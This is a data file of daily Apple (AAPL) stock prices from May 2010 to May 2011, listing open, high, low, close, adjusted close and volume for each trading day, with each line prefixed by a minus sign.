-2010-05-20,34.55428695678711,34.83571243286133,33.744285583496094,33.96571350097656,29.553607940673828,320728800.0,AAPL
-2010-05-21,33.2599983215332,34.92856979370117,33.04999923706055,34.61714172363281,30.120405197143555,305972800.0,AAPL
-2010-05-24,35.325714111328125,35.842857360839844,35.18000030517578,35.251426696777344,30.672298431396484,188559700.0,AAPL
-2010-05-25,34.19285583496094,35.251426696777344,33.880001068115234,35.031429290771484,30.48088836669922,262001600.0,AAPL
-2010-05-26,35.72571563720703,36.01856994628906,34.82143020629883,34.87285614013672,30.342910766601562,212663500.0,AAPL
-2010-05-27,35.79999923706055,36.27000045776367,35.58714294433594,36.19285583496094,31.491439819335938,166570600.0,AAPL
-2010-05-28,37.05571365356445,37.05714416503906,36.19285583496094,36.6971435546875,31.930221557617188,203903700.0,AAPL
-2010-06-01,37.09857177734375,37.99142837524414,36.994285583496094,37.26142883300781,32.42120361328125,219118200.0,AAPL
-2010-06-02,37.79142761230469,37.82857131958008,37.189998626708984,37.7071418762207,32.80902099609375,172137000.0,AAPL
-2010-06-03,37.88285827636719,37.93571472167969,37.2014274597168,37.58856964111328,32.70585250854492,162526700.0,AAPL
-2010-06-04,36.887142181396484,37.41428756713867,36.37571334838867,36.56571578979492,31.815858840942383,189576100.0,AAPL
-2010-06-07,36.8985710144043,37.021427154541016,35.7928581237793,35.84857177734375,31.19187355041504,221735500.0,AAPL
-2010-06-08,36.17714309692383,36.25714111328125,35.092857360839844,35.61857223510742,30.991750717163086,250192600.0,AAPL
-2010-06-09,35.924285888671875,35.985713958740234,34.64142990112305,34.74285888671875,30.22979164123535,213657500.0,AAPL
-2010-06-10,34.977142333984375,35.854286193847656,34.599998474121094,35.78714370727539,31.138431549072266,194089000.0,AAPL
-2010-06-11,35.461429595947266,36.26571273803711,35.33856964111328,36.21571350097656,31.511323928833008,136439800.0,AAPL
-2010-06-14,36.56571578979492,37.021427154541016,36.28714370727539,36.325714111328125,31.607044219970703,150740100.0,AAPL
-2010-06-15,36.52000045776367,37.121429443359375,36.5,37.09857177734375,32.27949905395508,146268500.0,AAPL
-2010-06-16,37.29999923706055,38.25,37.23285675048828,38.17856979370117,33.219207763671875,195919500.0,AAPL
-2010-06-17,38.657142639160156,38.985713958740234,38.5,38.83856964111328,33.793479919433594,218213800.0,AAPL
-2010-06-18,38.89285659790039,39.28571319580078,38.77428436279297,39.15285873413086,34.066932678222656,196155400.0,AAPL
-2010-06-21,39.66999816894531,39.85857009887695,38.38999938964844,38.5957145690918,33.58217239379883,194122600.0,AAPL
-2010-06-22,38.880001068115234,39.424285888671875,38.78571319580078,39.121429443359375,34.03959274291992,179315500.0,AAPL
-2010-06-23,39.22571563720703,39.237144470214844,38.271427154541016,38.709999084472656,33.68159866333008,192114300.0,AAPL
-2010-06-24,38.71428680419922,39.02857208251953,38.29999923706055,38.42856979370117,33.43673324584961,178569300.0,AAPL
-2010-06-25,38.58000183105469,38.61000061035156,37.97285842895508,38.099998474121094,33.15084457397461,137485600.0,AAPL
-2010-06-28,38.13285827636719,38.53571319580078,37.788570404052734,38.32857131958008,33.3497314453125,146237000.0,AAPL
-2010-06-29,37.73143005371094,37.77000045776367,36.32857131958008,36.5957145690918,31.84196662902832,283336200.0,AAPL
-2010-06-30,36.672855377197266,36.85285568237305,35.71571350097656,35.932857513427734,31.26521873474121,184863000.0,AAPL
-2010-07-01,36.32857131958008,36.400001525878906,34.7457160949707,35.49714279174805,30.88610076904297,255724000.0,AAPL
-2010-07-02,35.78428649902344,35.84714126586914,34.74285888671875,35.27714157104492,30.694679260253906,173460700.0,AAPL
-2010-07-06,35.85714340209961,36.11428451538086,35.165714263916016,35.51856994628906,30.904748916625977,153808900.0,AAPL
-2010-07-07,35.78428649902344,36.96714401245117,35.67856979370117,36.952857971191406,32.152706146240234,163639000.0,AAPL
-2010-07-08,37.49714279174805,37.55714416503906,36.41285705566406,36.869998931884766,32.08061981201172,184536100.0,AAPL
-2010-07-09,36.698570251464844,37.128570556640625,36.4514274597168,37.08856964111328,32.270809173583984,108330600.0,AAPL
-2010-07-12,36.932857513427734,37.407142639160156,36.408573150634766,36.755714416503906,31.98118019104004,140719600.0,AAPL
-2010-07-13,36.61714172363281,36.628570556640625,35.20428466796875,35.97142791748047,31.29876708984375,297731000.0,AAPL
-2010-07-14,35.62571334838867,36.5428581237793,35.57143020629883,36.104286193847656,31.414384841918945,203011900.0,AAPL
-2010-07-15,35.461429595947266,36.709999084472656,35.32857131958008,35.92142868041992,31.255260467529297,206216500.0,AAPL
-2010-07-16,36.16857147216797,36.424285888671875,35.487144470214844,35.70000076293945,31.062612533569336,259964600.0,AAPL
-2010-07-19,35.6971435546875,35.6971435546875,34.228572845458984,35.08285903930664,30.525632858276367,256119500.0,AAPL
-2010-07-20,34.70000076293945,36.128570556640625,34.28714370727539,35.98428726196289,31.309961318969727,268737700.0,AAPL
-2010-07-21,37.869998931884766,37.878570556640625,36.28571319580078,36.31999969482422,31.602060317993164,296417800.0,AAPL
-2010-07-22,36.81142807006836,37.14285659790039,36.47285842895508,37.00285720825195,32.19622802734375,161329700.0,AAPL
-2010-07-23,36.727142333984375,37.1971435546875,36.611427307128906,37.13428497314453,32.310577392578125,133347200.0,AAPL
-2010-07-26,37.14285659790039,37.157142639160156,36.81571578979492,37.040000915527344,32.228546142578125,105137900.0,AAPL
-2010-07-27,37.26714324951172,37.82857131958008,37.18571472167969,37.72571563720703,32.825172424316406,146192900.0,AAPL
-2010-07-28,37.66714096069336,37.998573303222656,37.17856979370117,37.279998779296875,32.437355041503906,129996300.0,AAPL
-2010-07-29,37.244285583496094,37.521427154541016,36.58571243286133,36.87285614013672,32.08311080932617,160951700.0,AAPL
-2010-07-30,36.55571365356445,37.099998474121094,36.41428756713867,36.75,31.976211547851562,112052500.0,AAPL
-2010-08-02,37.20571517944336,37.512855529785156,37.08856964111328,37.407142639160156,32.5479850769043,107013900.0,AAPL
-2010-08-03,37.28714370727539,37.60857009887695,37.060001373291016,37.41857147216797,32.55792999267578,104413400.0,AAPL
-2010-08-04,37.5485725402832,37.7542839050293,37.18714141845703,37.568572998046875,32.68844985961914,105093800.0,AAPL
-2010-08-05,37.38999938964844,37.59714126586914,37.22142791748047,37.38571548461914,32.52934265136719,72274300.0,AAPL
-2010-08-06,37.111427307128906,37.355712890625,36.80428695678711,37.15571594238281,32.329219818115234,111224400.0,AAPL
-2010-08-09,37.354286193847656,37.45000076293945,37.08142852783203,37.39285659790039,32.53555679321289,75782000.0,AAPL
-2010-08-10,37.121429443359375,37.2071418762207,36.7928581237793,37.058570861816406,32.24470138549805,112980000.0,AAPL
-2010-08-11,36.485713958740234,36.52714157104492,35.68714141845703,35.74142837524414,31.098642349243164,155013600.0,AAPL
-2010-08-12,35.24142837524414,36.157142639160156,35.15999984741211,35.970001220703125,31.29752540588379,133730100.0,AAPL
-2010-08-13,35.95000076293945,35.98285675048828,35.584285736083984,35.58571243286133,30.96316146850586,88717300.0,AAPL
-2010-08-16,35.36857223510742,35.71571350097656,35.23143005371094,35.37714385986328,30.78168487548828,79607500.0,AAPL
-2010-08-17,35.72571563720703,36.37571334838867,35.599998474121094,35.9957160949707,31.319908142089844,105660100.0,AAPL
-2010-08-18,36.051429748535156,36.38142776489258,35.939998626708984,36.15285873413086,31.45663833618164,84924000.0,AAPL
-2010-08-19,36.119998931884766,36.211429595947266,35.52571487426758,35.6971435546875,31.06012535095215,106676500.0,AAPL
-2010-08-20,35.62714385986328,36.27428436279297,35.57143020629883,35.66285705566406,31.03028678894043,96057500.0,AAPL
-2010-08-23,35.970001220703125,36.0,35.03571319580078,35.11428451538086,30.5529727935791,103510400.0,AAPL
-2010-08-24,34.66714096069336,34.71428680419922,34.092857360839844,34.27571487426758,29.823331832885742,150641400.0,AAPL
-2010-08-25,34.005714416503906,34.855712890625,33.88571548461914,34.698570251464844,30.191265106201172,149216900.0,AAPL
-2010-08-26,35.06428527832031,35.10714340209961,34.325714111328125,34.325714111328125,29.86683464050293,116626300.0,AAPL
-2010-08-27,34.53571319580078,34.658573150634766,33.65142822265625,34.51714324951172,30.033403396606445,137097800.0,AAPL
-2010-08-30,34.394287109375,35.10714340209961,34.38285827636719,34.64285659790039,30.142784118652344,95822300.0,AAPL
-2010-08-31,34.54999923706055,34.93714141845703,34.33571243286133,34.728572845458984,30.217363357543945,105196700.0,AAPL
-2010-09-01,35.35285568237305,35.922855377197266,35.182857513427734,35.76142883300781,31.116056442260742,174259400.0,AAPL
-2010-09-02,35.894287109375,36.02428436279297,35.5099983215332,36.02428436279297,31.344758987426758,103856900.0,AAPL
-2010-09-03,36.441429138183594,36.968570709228516,36.35714340209961,36.96714401245117,32.16514205932617,130197200.0,AAPL
-2010-09-07,36.66285705566406,37.075714111328125,36.60714340209961,36.83000183105469,32.04581832885742,85639400.0,AAPL
-2010-09-08,37.111427307128906,37.77000045776367,37.014286041259766,37.560001373291016,32.68099594116211,131637800.0,AAPL
-2010-09-09,37.862857818603516,38.07428741455078,37.560001373291016,37.58142852783203,32.69963455200195,109643800.0,AAPL
-2010-09-10,37.59857177734375,37.78571319580078,37.342857360839844,37.630001068115234,32.74189758300781,96885600.0,AAPL
-2010-09-13,37.97428512573242,38.325714111328125,37.96571350097656,38.1485710144043,33.1931037902832,97195000.0,AAPL
-2010-09-14,38.029998779296875,38.452857971191406,37.931427001953125,38.29428482055664,33.31988525390625,102037600.0,AAPL
-2010-09-15,38.310001373291016,38.62571334838867,38.262855529785156,38.60285568237305,33.58838653564453,107342200.0,AAPL
-2010-09-16,38.605712890625,39.52428436279297,38.5,39.5099983215332,34.377685546875,163025800.0,AAPL
-2010-09-17,39.66999816894531,39.70857238769531,39.09714126586914,39.33856964111328,34.22853088378906,158619300.0,AAPL
-2010-09-20,39.439998626708984,40.540000915527344,39.407142639160156,40.461429595947266,35.205528259277344,164669400.0,AAPL
-2010-09-21,40.551429748535156,41.04999923706055,40.3985710144043,40.538570404052734,35.27265167236328,167018600.0,AAPL
-2010-09-22,40.387142181396484,41.13999938964844,40.34428405761719,41.10714340209961,35.76736068725586,146322400.0,AAPL
-2010-09-23,40.9042854309082,41.82285690307617,40.85714340209961,41.27428436279297,35.91279220581055,196529200.0,AAPL
-2010-09-24,41.728572845458984,41.932857513427734,41.50714111328125,41.7599983215332,36.335418701171875,162372000.0,AAPL
-2010-09-27,41.99714279174805,42.104286193847656,41.57285690307617,41.59428405761719,36.19123458862305,120708700.0,AAPL
-2010-09-28,41.681427001953125,41.681427001953125,39.28571319580078,40.97999954223633,35.6567268371582,258760600.0,AAPL
-2010-09-29,41.03285598754883,41.40142822265625,40.85714340209961,41.0528564453125,35.72013473510742,117411000.0,AAPL
-2010-09-30,41.28571319580078,41.42856979370117,40.17856979370117,40.53571319580078,35.27015686035156,168347900.0,AAPL
-2010-10-01,40.878570556640625,40.939998626708984,40.19285583496094,40.36000061035156,35.11727523803711,112035700.0,AAPL
-2010-10-04,40.228572845458984,40.41428756713867,39.681427001953125,39.80571365356445,34.634979248046875,108825500.0,AAPL
-2010-10-05,40.28571319580078,41.349998474121094,40.2599983215332,41.27714157104492,35.915283203125,125491800.0,AAPL
-2010-10-06,41.369998931884766,41.71285629272461,40.751426696777344,41.31285858154297,35.946353912353516,167717200.0,AAPL
-2010-10-07,41.477142333984375,41.49714279174805,40.987144470214844,41.317142486572266,35.9500846862793,102099900.0,AAPL
-2010-10-08,41.672855377197266,42.07143020629883,41.42856979370117,42.0099983215332,36.55293655395508,164600800.0,AAPL
-2010-10-11,42.105712890625,42.46285629272461,42.08571243286133,42.19428634643555,36.71328353881836,106938300.0,AAPL
-2010-10-12,42.2014274597168,42.78571319580078,41.78428649902344,42.6485710144043,37.10856246948242,139636000.0,AAPL
-2010-10-13,42.88571548461914,43.137142181396484,42.82857131958008,42.87714385986328,37.30744171142578,157523100.0,AAPL
-2010-10-14,43.09857177734375,43.209999084472656,42.91428756713867,43.18714141845703,37.57716751098633,108824100.0,AAPL
-2010-10-15,43.91999816894531,45.0,43.558570861816406,44.96285629272461,39.12221908569336,230548500.0,AAPL
-2010-10-18,45.4957160949707,45.57143020629883,44.8985710144043,45.42856979370117,39.52744674682617,273252700.0,AAPL
-2010-10-19,43.342857360839844,44.82428741455078,42.86000061035156,44.21285629272461,38.469642639160156,308196000.0,AAPL
-2010-10-20,44.14285659790039,44.89285659790039,43.83856964111328,44.361427307128906,38.59892654418945,180406100.0,AAPL
-2010-10-21,44.62285614013672,44.96285629272461,43.82857131958008,44.21714401245117,38.47338104248047,137865000.0,AAPL
-2010-10-22,44.15285873413086,44.29142761230469,43.75714111328125,43.924285888671875,38.21855926513672,93194500.0,AAPL
-2010-10-25,44.15571594238281,44.514286041259766,44.06285858154297,44.119998931884766,38.388851165771484,98115500.0,AAPL
-2010-10-26,43.83856964111328,44.248573303222656,43.66428756713867,44.00714111328125,38.290645599365234,98232400.0,AAPL
-2010-10-27,43.95000076293945,44.271427154541016,43.657142639160156,43.97571563720703,38.2633056640625,99750700.0,AAPL
-2010-10-28,43.99285888671875,44.0,42.985713958740234,43.605712890625,37.94137191772461,137762800.0,AAPL
-2010-10-29,43.461429595947266,43.6971435546875,42.98143005371094,42.99714279174805,37.41184997558594,107627800.0,AAPL
-2010-11-01,43.174285888671875,43.657142639160156,43.17142868041992,43.45428466796875,37.80961608886719,105972300.0,AAPL
-2010-11-02,43.85714340209961,44.31285858154297,43.85714340209961,44.19428634643555,38.4534912109375,108482500.0,AAPL
-2010-11-03,44.48143005371094,44.6971435546875,44.075714111328125,44.68571472167969,38.881080627441406,127087100.0,AAPL
-2010-11-04,45.06428527832031,45.7400016784668,45.0042839050293,45.46714401245117,39.561004638671875,160622000.0,AAPL
-2010-11-05,45.42714309692383,45.65285873413086,45.25,45.30428695678711,39.41930389404297,90313300.0,AAPL
-2010-11-08,45.31428527832031,45.681427001953125,45.251426696777344,45.51714324951172,39.60451126098633,70439600.0,AAPL
-2010-11-09,45.86428451538086,45.900001525878906,44.92856979370117,45.1542854309082,39.288787841796875,95886000.0,AAPL
-2010-11-10,45.23428726196289,45.538570404052734,44.7928581237793,45.432857513427734,39.53116226196289,96056800.0,AAPL
-2010-11-11,45.0,45.485713958740234,44.89285659790039,45.235713958740234,39.359642028808594,90321000.0,AAPL
-2010-11-12,45.14285659790039,45.21428680419922,43.37571334838867,44.0042839050293,38.28816223144531,198961700.0,AAPL
-2010-11-15,44.06571578979492,44.362857818603516,43.75285720825195,43.862857818603516,38.16511535644531,100901500.0,AAPL
-2010-11-16,43.674285888671875,43.94285583496094,42.7599983215332,43.084285736083984,37.48768615722656,164412500.0,AAPL
-2010-11-17,43.02857208251953,43.42714309692383,42.53714370727539,42.92856979370117,37.352176666259766,119862400.0,AAPL
-2010-11-18,43.599998474121094,44.23857116699219,43.52714157104492,44.06142807006836,38.337890625,123622800.0,AAPL
-2010-11-19,43.9957160949707,44.05714416503906,43.605712890625,43.818572998046875,38.12657928466797,96210800.0,AAPL
-2010-11-22,43.81142807006836,44.76571273803711,43.69571304321289,44.76571273803711,38.95068359375,98268800.0,AAPL
-2010-11-23,44.349998474121094,44.53571319580078,43.79428482055664,44.104286193847656,38.375179290771484,129861900.0,AAPL
-2010-11-24,44.57143020629883,45.05714416503906,44.53571319580078,44.97142791748047,39.129676818847656,103431300.0,AAPL
-2010-11-26,44.81999969482422,45.38571548461914,44.70571517944336,45.0,39.154537200927734,59396400.0,AAPL
-2010-11-29,45.07143020629883,45.354286193847656,44.48285675048828,45.26714324951172,39.386993408203125,111446300.0,AAPL
-2010-11-30,44.79142761230469,44.908573150634766,44.40999984741211,44.45000076293945,38.67597961425781,125464500.0,AAPL
-2010-12-01,45.038570404052734,45.39285659790039,45.0,45.20000076293945,39.32855987548828,115437700.0,AAPL
-2010-12-02,45.361427307128906,45.57143020629883,44.98428726196289,45.45000076293945,39.54607391357422,115709300.0,AAPL
-2010-12-03,45.28714370727539,45.521427154541016,45.191429138183594,45.34857177734375,39.45783996582031,85523200.0,AAPL
-2010-12-06,45.52000045776367,46.047142028808594,45.48857116699219,45.735713958740234,39.79469299316406,112120400.0,AAPL
-2010-12-07,46.25714111328125,46.28428649902344,45.44571304321289,45.45857238769531,39.553550720214844,97863500.0,AAPL
-2010-12-08,45.66143035888672,45.86000061035156,45.301429748535156,45.85857009887695,39.90157699584961,80483900.0,AAPL
-2010-12-09,46.01856994628906,46.07143020629883,45.57428741455078,45.68000030517578,39.746212005615234,73537800.0,AAPL
-2010-12-10,45.66428756713867,45.86428451538086,45.514286041259766,45.79428482055664,39.845645904541016,65627800.0,AAPL
-2010-12-13,46.33856964111328,46.43714141845703,45.85714340209961,45.952857971191406,39.98362731933594,109953900.0,AAPL
-2010-12-14,45.961429595947266,46.077144622802734,45.57143020629883,45.755714416503906,39.81209182739258,87752000.0,AAPL
-2010-12-15,45.71428680419922,46.14285659790039,45.59857177734375,45.76571273803711,39.82079315185547,104328000.0,AAPL
-2010-12-16,45.869998931884766,46.08714294433594,45.728572845458984,45.89285659790039,39.93141555786133,80507700.0,AAPL
-2010-12-17,45.9471435546875,45.970001220703125,45.74714279174805,45.801429748535156,39.85186004638672,96732300.0,AAPL
-2010-12-20,45.94285583496094,46.17856979370117,45.461429595947266,46.029998779296875,40.05073928833008,96402600.0,AAPL
-2010-12-21,46.14285659790039,46.341426849365234,46.00714111328125,46.31428527832031,40.29810333251953,64088500.0,AAPL
-2010-12-22,46.33714294433594,46.531429290771484,46.22142791748047,46.4514274597168,40.41743087768555,66480400.0,AAPL
-2010-12-23,46.42856979370117,46.45000076293945,46.16714096069336,46.228572845458984,40.2235221862793,55789300.0,AAPL
-2010-12-27,46.121429443359375,46.49142837524414,45.931427001953125,46.38285827636719,40.3577766418457,62454000.0,AAPL
-2010-12-28,46.558570861816406,46.665714263916016,46.43714141845703,46.4957160949707,40.455963134765625,43981000.0,AAPL
-2010-12-29,46.60285568237305,46.63571548461914,46.44285583496094,46.470001220703125,40.43360137939453,40784800.0,AAPL
-2010-12-30,46.49714279174805,46.501426696777344,46.150001525878906,46.237144470214844,40.230979919433594,39373600.0,AAPL
-2010-12-31,46.13571548461914,46.211429595947266,45.90142822265625,46.08000183105469,40.09425354003906,48377000.0,AAPL
-2011-01-03,46.52000045776367,47.18000030517578,46.40571594238281,47.08142852783203,40.96559143066406,111284600.0,AAPL
-2011-01-04,47.49142837524414,47.5,46.878570556640625,47.327144622802734,41.17939758300781,77270200.0,AAPL
-2011-01-05,47.07857131958008,47.762855529785156,47.07143020629883,47.71428680419922,41.5162467956543,63879900.0,AAPL
-2011-01-06,47.817142486572266,47.89285659790039,47.55714416503906,47.67571258544922,41.48268127441406,75107200.0,AAPL
-2011-01-07,47.71285629272461,48.04999923706055,47.41428756713867,48.01714324951172,41.779762268066406,77982800.0,AAPL
-2011-01-10,48.4042854309082,49.03285598754883,48.16714096069336,48.92142868041992,42.56658935546875,112140000.0,AAPL
-2011-01-11,49.26856994628906,49.279998779296875,48.4957160949707,48.80571365356445,42.46589660644531,111027000.0,AAPL
-2011-01-12,49.03571319580078,49.20428466796875,48.85714340209961,49.202857971191406,42.81144714355469,75647600.0,AAPL
-2011-01-13,49.308570861816406,49.52000045776367,49.121429443359375,49.38285827636719,42.96806716918945,74195100.0,AAPL
-2011-01-14,49.41285705566406,49.78285598754883,49.20571517944336,49.78285598754883,43.31611251831055,77210000.0,AAPL
-2011-01-18,47.07428741455078,49.251426696777344,46.57143020629883,48.66428756713867,42.34284210205078,470249500.0,AAPL
-2011-01-19,49.764286041259766,49.79999923706055,48.12571334838867,48.40571594238281,42.117862701416016,283903200.0,AAPL
-2011-01-20,48.06142807006836,48.32857131958008,47.15999984741211,47.52571487426758,41.3521614074707,191197300.0,AAPL
-2011-01-21,47.681427001953125,47.84000015258789,46.66143035888672,46.674285888671875,40.6113395690918,188600300.0,AAPL
-2011-01-24,46.69571304321289,48.2071418762207,46.674285888671875,48.2071418762207,41.9450798034668,143670800.0,AAPL
-2011-01-25,48.047142028808594,48.77714157104492,47.79571533203125,48.771427154541016,42.43606948852539,136717000.0,AAPL
-2011-01-26,48.994285583496094,49.371429443359375,48.78571319580078,49.121429443359375,42.7406005859375,126718900.0,AAPL
-2011-01-27,49.111427307128906,49.24142837524414,48.97571563720703,49.029998779296875,42.66104507446289,71256500.0,AAPL
-2011-01-28,49.16714096069336,49.20000076293945,47.64714431762695,48.014286041259766,41.777286529541016,148014300.0,AAPL
-2011-01-31,47.97142791748047,48.577144622802734,47.75714111328125,48.47428512573242,42.177520751953125,94311700.0,AAPL
-2011-02-01,48.75714111328125,49.378570556640625,48.711429595947266,49.290000915527344,42.88726806640625,106658300.0,AAPL
-2011-02-02,49.2071418762207,49.32143020629883,49.07857131958008,49.18857192993164,42.79903030395508,64738800.0,AAPL
-2011-02-03,49.11428451538086,49.17714309692383,48.36428451538086,49.06285858154297,42.689640045166016,98449400.0,AAPL
-2011-02-04,49.091426849365234,49.52857208251953,49.07285690307617,49.5,43.06999588012695,80460100.0,AAPL
-2011-02-07,49.698570251464844,50.46428680419922,49.66285705566406,50.26856994628906,43.73871994018555,121255400.0,AAPL
-2011-02-08,50.52571487426758,50.788570404052734,50.30714416503906,50.74285888671875,44.151405334472656,95260200.0,AAPL
-2011-02-09,50.74142837524414,51.28571319580078,50.69571304321289,51.165714263916016,44.51933670043945,120686300.0,AAPL
-2011-02-10,51.05571365356445,51.42856979370117,49.71428680419922,50.6485710144043,44.06937026977539,232137500.0,AAPL
-2011-02-11,50.67856979370117,51.11428451538086,50.505714416503906,50.978572845458984,44.35649871826172,91893200.0,AAPL
-2011-02-14,50.970001220703125,51.354286193847656,50.95857238769531,51.31142807006836,44.64611053466797,77604100.0,AAPL
-2011-02-15,51.31285858154297,51.424285888671875,51.07857131958008,51.41428756713867,44.735626220703125,71043700.0,AAPL
-2011-02-16,51.5428581237793,52.128570556640625,51.5,51.87571334838867,45.13711166381836,120289400.0,AAPL
-2011-02-17,51.03571319580078,51.46714401245117,50.931427001953125,51.18571472167969,44.5367317199707,132645800.0,AAPL
-2011-02-18,51.244285583496094,51.35714340209961,49.931427001953125,50.08000183105469,43.574649810791016,204014300.0,AAPL
-2011-02-22,48.878570556640625,49.342857360839844,48.2457160949707,48.37285614013672,42.089271545410156,218138900.0,AAPL
-2011-02-23,48.395713806152344,49.23428726196289,48.37285614013672,48.94571304321289,42.58771896362305,167963600.0,AAPL
-2011-02-24,49.145713806152344,49.30714416503906,48.33856964111328,48.98285675048828,42.620025634765625,124975200.0,AAPL
-2011-02-25,49.32285690307617,49.77571487426758,49.25714111328125,49.737144470214844,43.276336669921875,95004700.0,AAPL
-2011-02-28,50.17714309692383,50.72142791748047,50.15999984741211,50.45857238769531,43.904056549072266,100768500.0,AAPL
-2011-03-01,50.781429290771484,50.817142486572266,49.66857147216797,49.90142822265625,43.41928482055664,114034200.0,AAPL
-2011-03-02,49.994285583496094,50.621429443359375,49.771427154541016,50.3028564453125,43.768558502197266,150647700.0,AAPL
-2011-03-03,51.02714157104492,51.3985710144043,50.8457145690918,51.36571502685547,44.69335174560547,125197100.0,AAPL
-2011-03-04,51.43857192993164,51.470001220703125,51.10714340209961,51.42856979370117,44.7480583190918,113316700.0,AAPL
-2011-03-07,51.628570556640625,51.66714096069336,50.18714141845703,50.76571273803711,44.171287536621094,136530800.0,AAPL
-2011-03-08,50.7014274597168,51.05714416503906,50.32143020629883,50.82285690307617,44.22101593017578,89079200.0,AAPL
-2011-03-09,50.66999816894531,50.68000030517578,50.08571243286133,50.35285568237305,43.81206512451172,113326500.0,AAPL
-2011-03-10,49.87428665161133,49.96714401245117,49.271427154541016,49.52428436279297,43.091129302978516,126884800.0,AAPL
-2011-03-11,49.33285903930664,50.33142852783203,49.28571319580078,50.28428649902344,43.75240707397461,117770100.0,AAPL
-2011-03-14,50.45428466796875,50.92571258544922,50.18714141845703,50.50857162475586,43.94755554199219,108989300.0,AAPL
-2011-03-15,48.871429443359375,49.691429138183594,48.58571243286133,49.34714126586914,42.93698501586914,180270300.0,AAPL
-2011-03-16,48.85714340209961,49.0,46.60857009887695,47.144287109375,41.02028274536133,290502800.0,AAPL
-2011-03-17,48.11857223510742,48.51571273803711,47.237144470214844,47.80571365356445,41.59579086303711,164855600.0,AAPL
-2011-03-18,48.16143035888672,48.31428527832031,47.14285659790039,47.23857116699219,41.102317810058594,188303500.0,AAPL
-2011-03-21,47.998573303222656,48.53428649902344,47.894287109375,48.47142791748047,42.17503356933594,102350500.0,AAPL
-2011-03-22,48.93714141845703,48.94571304321289,48.448570251464844,48.74285888671875,42.41120529174805,81480700.0,AAPL
-2011-03-23,48.468570709228516,48.60285568237305,47.99285888671875,48.45571517944336,42.1613655090332,93249100.0,AAPL
-2011-03-24,48.83571243286133,49.42856979370117,48.408573150634766,49.281429290771484,42.879825592041016,101178000.0,AAPL
-2011-03-25,49.72428512573242,50.29428482055664,49.57428741455078,50.220001220703125,43.696475982666016,112227500.0,AAPL
-2011-03-28,50.45000076293945,50.61714172363281,50.06285858154297,50.06285858154297,43.55972671508789,77338800.0,AAPL
-2011-03-29,49.665714263916016,50.137142181396484,49.43714141845703,50.137142181396484,43.62438201904297,88225200.0,AAPL
-2011-03-30,50.091426849365234,50.12571334838867,49.63428497314453,49.80428695678711,43.33475875854492,82351500.0,AAPL
-2011-03-31,49.47999954223633,49.97142791748047,49.43714141845703,49.78714370727539,43.31984329223633,68504800.0,AAPL
-2011-04-01,50.158573150634766,50.227142333984375,49.0428581237793,49.22285842895508,42.82886505126953,104665400.0,AAPL
-2011-04-04,49.18714141845703,49.228572845458984,48.342857360839844,48.74142837524414,42.40995788574219,115021200.0,AAPL
-2011-04-05,48.14142990112305,48.89285659790039,48.0,48.41285705566406,42.12406921386719,120682800.0,AAPL
-2011-04-06,48.7457160949707,49.128570556640625,48.16285705566406,48.29142761230469,42.0184211730957,100634800.0,AAPL
-2011-04-07,48.29999923706055,48.63285827636719,48.0042839050293,48.297142028808594,42.02338409423828,93361800.0,AAPL
-2011-04-08,48.560001373291016,48.592857360839844,47.7071418762207,47.86571502685547,41.648006439208984,94383800.0,AAPL
-2011-04-11,47.72285842895508,47.952857971191406,47.145713806152344,47.25714111328125,41.11847686767578,99736700.0,AAPL
-2011-04-12,47.21285629272461,47.67571258544922,47.17142868041992,47.485713958740234,41.31736755371094,106409800.0,AAPL
-2011-04-13,47.86000061035156,48.02000045776367,47.50285720825195,48.01856994628906,41.781009674072266,86555000.0,AAPL
-2011-04-14,47.82857131958008,48.0,47.43714141845703,47.48857116699219,41.31985092163086,75450200.0,AAPL
-2011-04-15,47.61428451538086,47.66285705566406,46.68571472167969,46.779998779296875,40.703330993652344,113401400.0,AAPL
-2011-04-18,46.58571243286133,47.461429595947266,45.737144470214844,47.407142639160156,41.24899673461914,152474700.0,AAPL
-2011-04-19,47.58571243286133,48.28285598754883,47.387142181396484,48.26571273803711,41.99603271484375,104844600.0,AAPL
-2011-04-20,49.07285690307617,49.39285659790039,48.78571319580078,48.915714263916016,42.561614990234375,175166600.0,AAPL
-2011-04-21,50.71428680419922,50.73285675048828,49.788570404052734,50.099998474121094,43.59205627441406,188452600.0,AAPL
-2011-04-25,50.0485725402832,50.53571319580078,50.0428581237793,50.43000030517578,43.87919235229492,66636500.0,AAPL
-2011-04-26,50.51714324951172,50.71285629272461,49.907142639160156,50.060001373291016,43.557247161865234,84700000.0,AAPL
-2011-04-27,50.31999969482422,50.33571243286133,49.58571243286133,50.021427154541016,43.5236930847168,89053300.0,AAPL
-2011-04-28,49.45571517944336,49.96428680419922,49.36000061035156,49.53571319580078,43.10106658935547,90239800.0,AAPL
-2011-04-29,49.540000915527344,50.56428527832031,49.52428436279297,50.01856994628906,43.521209716796875,251586300.0,AAPL
-2011-05-02,49.96285629272461,50.067142486572266,49.35714340209961,49.468570709228516,43.04266357421875,110678400.0,AAPL
-2011-05-03,49.71285629272461,49.98428726196289,49.37428665161133,49.74285888671875,43.281314849853516,78337000.0,AAPL
-2011-05-04,49.751426696777344,50.26142883300781,49.55428695678711,49.93857192993164,43.45159912109375,97312600.0,AAPL
-2011-05-05,49.771427154541016,50.13571548461914,49.43571472167969,49.53571319580078,43.10106658935547,83992300.0,AAPL
-2011-05-06,49.95571517944336,50.0,49.45857238769531,49.522857666015625,43.08988952636719,70033600.0,AAPL
-2011-05-09,49.69428634643555,49.88571548461914,49.5042839050293,49.657142639160156,43.206729888916016,51186800.0,AAPL
-2011-05-10,49.841426849365234,49.95571517944336,49.522857666015625,49.92142868041992,43.436683654785156,70522900.0,AAPL
-2011-05-11,49.86000061035156,50.0,49.31999969482422,49.604286193847656,43.160736083984375,84000000.0,AAPL
-2011-05-12,49.44571304321289,49.58856964111328,48.895713806152344,49.5099983215332,43.07870101928711,80500000.0,AAPL
-2011-05-13,49.380001068115234,49.46428680419922,48.621429443359375,48.64285659790039,42.32419204711914,81529000.0,AAPL
-2011-05-16,48.4571418762207,48.7457160949707,47.514286041259766,47.61428451538086,41.42923355102539,112443800.0,AAPL
-2011-05-17,47.42856979370117,48.02000045776367,47.24714279174805,48.02000045776367,41.7822380065918,113083600.0,AAPL
-2011-05-18,48.067142486572266,48.72142791748047,48.0,48.5528564453125,42.24589157104492,83694100.0,AAPL
-2011-05-19,48.86857223510742,48.915714263916016,48.38142776489258,48.64714431762695,42.32792282104492,65292500.0,AAPL
-2011-05-20,48.50857162475586,48.7071418762207,47.86000061035156,47.888572692871094,41.66788864135742,84492100.0,AAPL
-2011-05-23,47.138572692871094,47.99714279174805,47.060001373291016,47.771427154541016,41.56595993041992,95900000.0,AAPL
